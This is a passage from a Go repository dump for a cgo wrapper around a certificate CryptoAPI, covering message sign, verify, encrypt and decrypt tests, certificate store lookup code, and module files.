33 | store, err := msg.CertStore() 34 | is.NotErr(err) 35 | is.NotZero(store) 36 | certs := store.Certs() 37 | is.NotZero(len(certs)) 38 | for _, c := range certs { 39 | is.NotZero(len(c.Bytes())) 40 | is.Lax().NotErr(msg.Verify(c)) 41 | } 42 | }) 43 | is.NotErr(msg.Close()) 44 | } 45 | 46 | type detachedTestCase struct { 47 | data string 48 | signature string 49 | } 50 | 51 | func TestMsgVerify_Detached(t *testing.T) { 52 | is := is.New(t) 53 | for j, tc := range []detachedTestCase{ 54 | {"testdata/4b5412b121ba477d9ea13ee98207ba1d.xml", "testdata/4b5412b121ba477d9ea13ee98207ba1d.xml.sig"}, 55 | } { 56 | sig, err := ioutil.ReadFile(tc.signature) 57 | is.NotErr(err) 58 | data, err := os.Open(tc.data) 59 | is.NotErr(err) 60 | msg, err := OpenToVerify(sig) 61 | is.NotErr(err) 62 | _, err = io.Copy(msg, data) 63 | is.NotErr(err) 64 | 65 | store, err := msg.CertStore() 66 | is.NotErr(err) 67 | is.NotZero(store) 68 | numSigners, err := msg.GetSignerCount() 69 | if err != nil { 70 | t.Errorf("%+v", err) 71 | return 72 | } 73 | t.Logf("signer count for %s: %d", tc.signature, numSigners) 74 | for i := 0; i < numSigners; i++ { 75 | c, err := msg.GetSignerCert(i, store) 76 | if err != nil { 77 | t.Errorf("%+v", err) 78 | continue 79 | } 80 | ss, err := c.Info().SubjectStr() 81 | if err != nil { 82 | t.Errorf("%+v", err) 83 | continue 84 | } 85 | t.Logf("verifying: %s", ss) 86 | t.Run(fmt.Sprintf("verify %d of %d", i, j), func(t *testing.T) { 87 | if err := msg.Verify(c); err != nil { 88 | t.Errorf("verifying: %+v", err) 89 | return 90 | } 91 | t.Logf("verified ok") 92 | }) 93 | } 94 | is.NotErr(msg.Close()) 95 | } 96 | } 97 | 98 | func TestMsgEncode(t *testing.T) { 99 | if signCertThumb == "" { 100 | t.Skip("certificate for sign test not provided") 101 | } 102 | is := is.New(t) 103 | 104 | store, err := SystemStore("MY") 105 | is.NotErr(err) 106 | defer store.Close() 107 | 108 | crt, err := store.GetByThumb(signCertThumb) 109 | is.NotErr(err) 110 | defer crt.Close() 111 | 112 | data := bytes.NewBufferString("Test data") 113 | dest := new(bytes.Buffer) 114 | t.Run("encode", func(t *testing.T) { 115 | msg, err := OpenToEncode(dest, EncodeOptions{ 116 | Signers: []Cert{crt}, 117 | }) 118 | is.NotErr(err) 119 | _, err = io.Copy(msg, data) 120 | is.NotErr(err) 121 | is.NotErr(msg.Close()) 122 | is.NotZero(dest.Bytes()) 123 | ioutil.WriteFile("testdata/enc.bin", dest.Bytes(), 0666) 124 | }) 125 | t.Run("decode", func(t *testing.T) { 126 | buf := new(bytes.Buffer) 127 | msg, err := OpenToDecode(buf) 128 | is.NotErr(err) 129 | _, err = dest.WriteTo(msg) 130 | is.NotErr(err) 131 | is.NotZero(buf.Bytes()) 132 | is.Equal(buf.String(), "Test data") 133 | is.NotErr(msg.Close()) 134 | }) 135 | } 136 | 137 | func TestMsgEncode_Detached(t *testing.T) { 138 | if signCertThumb == "" { 139 | t.Skip("certificate for sign test not provided") 140 | } 141 | is := is.New(t) 142 | 143 | store, err := SystemStore("MY") 144 | is.NotErr(err) 145 | defer store.Close() 146 | 147 | crt, err := store.GetByThumb(signCertThumb) 148 | is.NotErr(err) 149 | defer crt.Close() 150 | 151 | // data, err := ioutil.ReadFile("testdata/file.bin") 152 | // is.NotErr(err) 153 | data := []byte(strings.Repeat("test data", 1)) 154 | ioutil.WriteFile("testdata/dest.bin", data, 0666) 155 | dest := new(bytes.Buffer) 156 | t.Run("sign", func(t *testing.T) { 157 | msg, err := OpenToEncode(dest, EncodeOptions{ 158 | Signers: []Cert{crt}, 159 | Detached: true, 160 | }) 161 | is.NotErr(err) 162 | _, err = io.Copy(msg, bytes.NewReader(data)) 163 | is.NotErr(err) 164 | is.NotErr(msg.Close()) 165 | is.NotZero(dest.Bytes()) 166 | ioutil.WriteFile("testdata/dest.sig", dest.Bytes(), 0666) 167 | }) 168 | t.Run("verify", func(t *testing.T) { 169 | msg, err := OpenToVerify(dest.Bytes()) 170 | is.NotErr(err) 171 | _, err = bytes.NewReader(data).WriteTo(msg) 172 | is.NotErr(err) 173 | store, err := msg.CertStore() 174 | is.NotErr(err) 175 | is.NotZero(store) 176 | certs := store.Certs() 177 | for _, c := range certs { 178 | is.NotZero(len(c.Bytes())) 179 | is.Lax().NotErr(msg.Verify(c)) 180 | } 181 | is.NotErr(msg.Close()) 182 | }) 183 | } 184 | 185 | func TestMsgEncrypt_Decrypt(t *testing.T) { 186 | if signCertThumb == "" { 187 | t.Skip("certificate for encrypt test not provided") 188 | } 189 | is := is.New(t) 190 | 191 | store, err := SystemStore("MY") 192 | is.NotErr(err) 193 | defer store.Close() 194 | 195 | crt, err := store.GetByThumb(signCertThumb) 196 | is.NotErr(err) 197 | defer crt.Close() 198 | 199 | dest := new(bytes.Buffer) 200 | testData := strings.Repeat("Test data", 100000) 201 | t.Run("encrypt", func(t *testing.T) { 202 | data := bytes.NewBufferString(testData) 203 | msg, err := OpenToEncrypt(dest, EncryptOptions{ 204 | Receivers: []Cert{crt}, 205 | EncryptOID: EncryptOIDMagma, 206 | }) 207 | is.NotErr(err) 208 | 209 | _, err = io.Copy(msg, data) 210 | is.NotErr(err) 211 | is.NotErr(msg.Close()) 212 | is.NotZero(dest.Bytes()) 213 | }) 214 | 215 | t.Run("decrypt", func(t *testing.T) { 216 | newDest := new(bytes.Buffer) 217 | msg, err := OpenToDecrypt(newDest, store, 10000) 218 | is.NotErr(err) 219 | _, err = io.Copy(msg, dest) 220 | is.NotErr(err) 221 | is.Equal(newDest.String(), testData) 222 | }) 223 | } 224 | 225 | func BenchmarkMsgEncode(b *testing.B) { 226 | if signCertThumb == "" { 227 | b.Skip("certificate for sign test not provided") 228 | } 229 | b.ReportAllocs() 230 | store, err := SystemStore("MY") 231 | if err != nil { 232 | panic(err) 233 | } 234 | defer store.Close() 235 | crt, err := store.GetByThumb(signCertThumb) 236 | if err != nil { 237 | panic(err) 238 | } 239 | defer crt.Close() 240 | data := bytes.NewBufferString("Test data") 241 | dest := new(bytes.Buffer) 242 | for i := 0; i < b.N; i++ { 243 | msg, err := OpenToEncode(dest, EncodeOptions{ 244 | Signers: []Cert{crt}, 245 | }) 246 | if err != nil { 247 | panic(err) 248 | } else if _, err = data.WriteTo(msg); err != nil { 249 | panic(err) 250 | } else if err = msg.Close(); err != nil { 251 | panic(err) 252 | } 253 | dest.Reset() 254 | } 255 | } 256 | 257 | func TestSignVerify(t *testing.T) { 258 | if signCertThumb == "" { 259 | t.Skip("certificate for encrypt test not provided") 260 | } 261 | store, err := SystemStore("MY") 262 | if err != nil { 263 | t.Fatal(err) 264 | } 265 | defer store.Close() 266 | crt, err := store.GetByThumb(signCertThumb) 267 | if err != nil { 268 | t.Fatal(err) 269 | } 270 | defer crt.Close() 271 | dest := new(bytes.Buffer) 272 | data := strings.Repeat("test string", 1) 273 | src := strings.NewReader(data) 274 | err = func() (rErr error) { 275 | msg, err := OpenToEncode(dest, EncodeOptions{ 276 | Signers: []Cert{crt}, 277 | Detached: true, 278 | }) 279 | if err != nil { 280 | return fmt.Errorf("открытие сообщения на кодирование: %+v", err) 281 | } 282 | defer func() { 283 | if err := msg.Close(); err != nil { 284 | rErr = multierror.Append(rErr, fmt.Errorf("закрытие сообщения: %+v", err)) 285 | } 286 | }() 287 | if _, err := io.Copy(msg, src); err != nil { 288 | return fmt.Errorf("кодирование сообщения: %+v", err) 289 | } 290 | return nil 291 | }() 292 | if err != nil { 293 | t.Fatal(err) 294 | } 295 | ioutil.WriteFile("testdata/detached.p7s", dest.Bytes(), 0666) 296 | ioutil.WriteFile("testdata/detached.txt", []byte(data), 0666) 297 | msg, err := OpenToVerify(dest.Bytes()) 298 | if err != nil { 299 | t.Fatal(err) 300 | } 301 | if _, err := strings.NewReader(data).WriteTo(msg); err != nil { 302 | t.Fatal(err) 303 | } 304 | msgStore, err := msg.CertStore() 305 | if err != nil { 306 | t.Fatal(err) 307 | } 308 | certs := msgStore.Certs() 309 | for _, c := range certs { 310 | t.Logf("%+v", c) 311 | if err := msg.Verify(c); err != nil { 312 | t.Errorf("%+v", err) 313 | } 314 | } 315 | if err := msg.Close(); err != nil { 316 | t.Fatal(err) 317 | } 318 | } 319 | -------------------------------------------------------------------------------- /csp/store.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | /* 4 | #include "common.h" 5 | HCERTSTORE openStoreMem() { 6 | return CertOpenStore(CERT_STORE_PROV_MEMORY, MY_ENC_TYPE, 0, CERT_STORE_CREATE_NEW_FLAG, NULL); 7 | } 8 | 9 | 10 | HCERTSTORE openStoreSystem(HCRYPTPROV hProv, CHAR *proto) { 11 | return CertOpenStore( 12 | CERT_STORE_PROV_SYSTEM_A, // The store provider type 13 | 0, // The encoding type is 14 | // not needed 15 | hProv, // Use the default HCRYPTPROV 16 | // Set the store location in a 17 | // registry location 18 | CERT_STORE_NO_CRYPT_RELEASE_FLAG | CERT_SYSTEM_STORE_CURRENT_USER, 19 | proto // The store name as a Unicode 20 | // string 21 | ); 22 | } 23 | 24 | */ 25 | import "C" 26 | 27 | import ( 28 | "encoding/hex" 29 | "math/big" 30 | 31 | //"io" 32 | //"io/ioutil" 33 | //"fmt" 34 | "unsafe" 35 | ) 36 | 37 | // CertStore incapsulates certificate store 38 | type CertStore struct { 39 | hStore C.HCERTSTORE 40 | } 41 | 42 | // MemoryStore returns handle to new empty in-memory certificate store 43 | func MemoryStore() (res CertStore, err error) { 44 | res.hStore = C.openStoreMem() 45 | if res.hStore == C.HCERTSTORE(nil) { 46 | err = getErr("Error creating memory cert store") 47 | return 48 | } 49 | return 50 | } 51 | 52 | // SystemStore returns handle to certificate store with certain name, using 53 | // default system cryptoprovider 54 | func SystemStore(name string) (*CertStore, error) { 55 | cName := C.CString(name) 56 | defer C.free(unsafe.Pointer(cName)) 57 | 58 | hStore := C.openStoreSystem(C.HCRYPTPROV(0), (*C.CHAR)(cName)) 59 | if hStore == C.HCERTSTORE(nil) { 60 | return nil, getErr("Error getting system cert store") 61 | } 62 | return &CertStore{hStore: hStore}, nil 63 | } 64 | 65 | // CertStore method returns handle to certificate store in certain CSP context 66 | func (c Ctx) CertStore(name string) (res CertStore, err error) { 67 | cName := charPtr(name) 68 | defer freePtr(cName) 69 | 70 | res.hStore = C.openStoreSystem(c.hProv, cName) 71 | if res.hStore == nil { 72 | err = getErr("Error getting system cert store") 73 | return 74 | } 75 | return 76 | } 77 | 78 | // Close releases cert store handle 79 | func (s CertStore) Close() error { 80 | if C.CertCloseStore(s.hStore, C.CERT_CLOSE_STORE_CHECK_FLAG) == 0 { 81 | return getErr("Error closing cert store") 82 | } 83 | return nil 84 | } 85 | 86 | // findCerts returns slice of *Cert's in store that satisfy findType and findPara 87 | func (s CertStore) findCerts(findType C.DWORD, findPara unsafe.Pointer) []Cert { 88 | var res []Cert 89 | 90 | for pCert := C.CertFindCertificateInStore(s.hStore, C.MY_ENC_TYPE, 0, findType, findPara, nil); pCert != nil; pCert = C.CertFindCertificateInStore(s.hStore, C.MY_ENC_TYPE, 0, findType, findPara, pCert) { 91 | pCertDup := C.CertDuplicateCertificateContext(pCert) 92 | res = append(res, Cert{pCertDup}) 93 | } 94 | return res 95 | } 96 | 97 | // getCert returns first of Cert's in store that satisfy findType and findPara 98 | func (s CertStore) getCert(findType C.DWORD, findPara unsafe.Pointer) C.PCCERT_CONTEXT { 99 | return C.CertFindCertificateInStore(s.hStore, C.MY_ENC_TYPE, 0, findType, findPara, nil) 100 | } 101 | 102 | // FindBySubject returns slice of certificates with a subject that matches 103 | // string 104 | func (s CertStore) FindBySubject(subject string) []Cert { 105 | cSubject := unsafe.Pointer(C.CString(subject)) 106 | defer C.free(cSubject) 107 | return s.findCerts(C.CERT_FIND_SUBJECT_STR_A, cSubject) 108 | } 109 | 110 | // FindByThumb returns slice of certificates that match given thumbprint. If 111 | // thumbprint supplied could not be decoded from string, FindByThumb will 112 | // return nil slice 113 | func (s CertStore) FindByThumb(thumb string) []Cert { 114 | bThumb, err := hex.DecodeString(thumb) 115 | if err != nil { 116 | return nil 117 | } 118 | var hashBlob C.CRYPT_HASH_BLOB 119 | hashBlob.cbData = C.DWORD(len(bThumb)) 120 | bThumbPtr := C.CBytes(bThumb) 121 | defer C.free(bThumbPtr) 122 | hashBlob.pbData = (*C.BYTE)(bThumbPtr) 123 | return s.findCerts(C.CERT_FIND_HASH, unsafe.Pointer(&hashBlob)) 124 | } 125 | 126 | // FindBySubjectId returns slice of certificates that match given subject key ID. If 127 | // ID supplied could not be decoded from string, FindBySubjectId will 128 | // return nil slice 129 | func (s CertStore) FindBySubjectId(thumb string) []Cert { 130 | bThumb, err := hex.DecodeString(thumb) 131 | if err != nil { 132 | return nil 133 | } 134 | var hashBlob C.CRYPT_HASH_BLOB 135 | hashBlob.cbData = C.DWORD(len(bThumb)) 136 | bThumbPtr := C.CBytes(bThumb) 137 | defer C.free(bThumbPtr) 138 | hashBlob.pbData = (*C.BYTE)(bThumbPtr) 139 | return s.findCerts(C.CERT_FIND_KEY_IDENTIFIER, unsafe.Pointer(&hashBlob)) 140 | } 141 | 142 | // GetByID returns certificate with specified issuer and serial number 143 | func (s CertStore) GetByID(issuerName []byte, serialNumber *big.Int) (res Cert, err error) { 144 | var certID C.CERT_ID 145 | certID.dwIdChoice = C.CERT_ID_ISSUER_SERIAL_NUMBER 146 | sn := (*C.CERT_ISSUER_SERIAL_NUMBER)(unsafe.Pointer(&certID.f_name[0])) 147 | issuerNameC := C.CBytes(issuerName) 148 | sn.Issuer.pbData = (*C.BYTE)(issuerNameC) 149 | defer C.free(issuerNameC) 150 | sn.Issuer.cbData = (C.DWORD)(len(issuerName)) 151 | snBytes := serialNumber.Bytes() 152 | for i, j := 0, len(snBytes)-1; i < j; i, j = i+1, j-1 { 153 | snBytes[i], snBytes[j] = snBytes[j], snBytes[i] 154 | } 155 | snBytesC := C.CBytes(snBytes) 156 | sn.SerialNumber.pbData = (*C.BYTE)(snBytesC) 157 | defer C.free(snBytesC) 158 | sn.SerialNumber.cbData = C.DWORD(len(snBytes)) 159 | if res.pCert = s.getCert(C.CERT_FIND_CERT_ID, unsafe.Pointer(&certID)); res.pCert == nil { 160 | return res, getErr("Error looking up certificate by ID") 161 | } 162 | return res, nil 163 | } 164 | 165 | // GetByThumb returns first certificate in store that match given thumbprint 166 | func (s CertStore) GetByThumb(thumb string) (res Cert, err error) { 167 | bThumb, err := hex.DecodeString(thumb) 168 | if err != nil { 169 | return 170 | } 171 | var hashBlob C.CRYPT_HASH_BLOB 172 | hashBlob.cbData = C.DWORD(len(bThumb)) 173 | bThumbPtr := C.CBytes(bThumb) 174 | defer C.free(bThumbPtr) 175 | hashBlob.pbData = (*C.BYTE)(bThumbPtr) 176 | if res.pCert = s.getCert(C.CERT_FIND_HASH, unsafe.Pointer(&hashBlob)); res.pCert == nil { 177 | err = getErr("Error looking up certificate by thumb") 178 | return 179 | } 180 | return 181 | } 182 | 183 | // GetBySubjectId returns first certificate in store that match given subject key ID 184 | func (s CertStore) GetBySubjectId(keyId string) (res Cert, err error) { 185 | bThumb, err := hex.DecodeString(keyId) 186 | if err != nil { 187 | return 188 | } 189 | var hashBlob C.CRYPT_HASH_BLOB 190 | hashBlob.cbData = C.DWORD(len(bThumb)) 191 | bThumbPtr := C.CBytes(bThumb) 192 | defer C.free(bThumbPtr) 193 | hashBlob.pbData = (*C.BYTE)(bThumbPtr) 194 | if res.pCert = s.getCert(C.CERT_FIND_KEY_IDENTIFIER, unsafe.Pointer(&hashBlob)); res.pCert == nil { 195 | err = getErr("Error looking up certificate by subject key id") 196 | return 197 | } 198 | return 199 | } 200 | 201 | // GetBySubject returns first certificate with a subject that matches 202 | // given string 203 | func (s CertStore) GetBySubject(subject string) (res Cert, err error) { 204 | cSubject := unsafe.Pointer(C.CString(subject)) 205 | defer C.free(cSubject) 206 | 207 | if res.pCert = s.getCert(C.CERT_FIND_SUBJECT_STR_A, cSubject); res.pCert == nil { 208 | err = getErr("Error looking up certificate by subject string") 209 | return 210 | } 211 | return 212 | } 213 | 214 | // Add inserts certificate into store replacing existing certificate link if 215 | // it's already added 216 | func (s CertStore) Add(cert Cert) error { 217 | if C.CertAddCertificateContextToStore(s.hStore, cert.pCert, C.CERT_STORE_ADD_REPLACE_EXISTING, nil) == 0 { 218 | return getErr("Couldn't add certificate to store") 219 | } 220 | return nil 221 | } 222 | 223 | func (s CertStore) Certs() (res []Cert) { 224 | for pCert := C.CertEnumCertificatesInStore(s.hStore, nil); pCert != nil; pCert = C.CertEnumCertificatesInStore(s.hStore, pCert) { 225 | pCertDup := C.CertDuplicateCertificateContext(pCert) 226 | res = append(res, Cert{pCertDup}) 227 | } 228 | return 229 | } 230 | -------------------------------------------------------------------------------- /csp/store_test.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | import ( 4 | "encoding/base64" 5 | "math/big" 6 | "testing" 7 | ) 8 | 9 | func TestStore_GetByID(t *testing.T) { 10 | issuer := `MIIBOTEpMCcGA1UEAwwg0JDQniAi0JrQkNCb0KPQk9CQINCQ0KHQotCg0JDQmyIxKTAnBgNVBAoMINCQ0J4gItCa0JDQm9Cj0JPQkCDQkNCh0KLQoNCQ0JsiMQswCQYDVQQGEwJSVTEtMCsGA1UECAwkNDAg0JrQsNC70YPQttGB0LrQsNGPINC+0LHQu9Cw0YHRgtGMMRkwFwYDVQQHDBDQsy4g0JrQsNC70YPQs9CwMRswGQYJKoZIhvcNAQkBFgxjYUBhc3RyYWwucnUxNzA1BgNVBAkMLtC/0LXRgNC10YPQu9C+0Log0KLQtdGA0LXQvdC40L3RgdC60LjQuSwg0LQuIDYxGjAYBggqhQMDgQMBARIMMDA0MDI5MDE3OTgxMRgwFgYFKoUDZAESDTEwMjQwMDE0MzQwNDk=` 11 | issuerName, err := base64.StdEncoding.DecodeString(issuer) 12 | if err != nil { 13 | t.Fatal(err) 14 | } 15 | serialNumber := new(big.Int) 16 | serialNumber, ok := serialNumber.SetString(`2444306731539621231973744265765453825`, 10) 17 | if !ok { 18 | t.Fatal("failed converting Int") 19 | } 20 | store, err := SystemStore("MY") 21 | if err != nil { 22 | t.Fatal(err) 23 | } 24 | cert, err := store.GetByID(([]byte)(issuerName), serialNumber) 25 | if err != nil { 26 | t.Fatal(err) 27 | } 28 | cert.Close() 29 | } 30 | -------------------------------------------------------------------------------- /csp/testdata/add_your_test_files: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reliableproje/go-cryptoapi/4f40d693fd292a5c204da3da436ae0c268d9a534/csp/testdata/add_your_test_files -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/reliableproje/go-cryptoapi/v2 2 | 3 | go 1.21 4 | 5 | require ( 6 | github.com/andviro/goldie v0.0.0-20180822203610-4d8717fa0de8 7 | github.com/hashicorp/go-multierror v1.1.1 8 | github.com/mcesar/must v0.0.0-20220418132648-d99a88b76c1e 9 | gopkg.in/tylerb/is.v1 v1.1.2 10 | ) 11 | 12 | require ( 13 | github.com/hashicorp/errwrap v1.0.0 // indirect 14 | github.com/stretchr/testify v1.7.0 // indirect 15 | ) 16 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/andviro/goldie v0.0.0-20180822203610-4d8717fa0de8 h1:CcbedwCL7/U20LkoDms2F+H/qpSxhf58HYJ1BKaU42s= 2 | github.com/andviro/goldie v0.0.0-20180822203610-4d8717fa0de8/go.mod h1:ebwEzHdaDV5mqYhaU9IxInjLefSczqLfQONN+RO+rtc= 3 | github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= 4 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 5 | github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA= 6 | github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= 7 | github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= 8 | github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= 9 | github.com/mcesar/must v0.0.0-20220418132648-d99a88b76c1e h1:SM4XfKwZvDZsKrsAOpa5CnVhv4Cjjfi31vz8XU1Wgc0= 10 | github.com/mcesar/must v0.0.0-20220418132648-d99a88b76c1e/go.mod h1:B4DijXKO7XV9u5utCFlrFBgIX5mvERIoPPOYhlIGW04= 11 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 12 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 13 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 14 | github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= 15 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 16 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 17 | gopkg.in/tylerb/is.v1 v1.1.2 h1:AB/MANFml2ySf+adwcinvajyHvsYltAOD+rb/8njfSU= 18 | gopkg.in/tylerb/is.v1 v1.1.2/go.mod h1:9yQB2tyIhZ5oph6Kk5Sq7cJMd9c5Jpa1p3hr9kxzPqo= 19 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= 20 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 21 | --------------------------------------------------------------------------------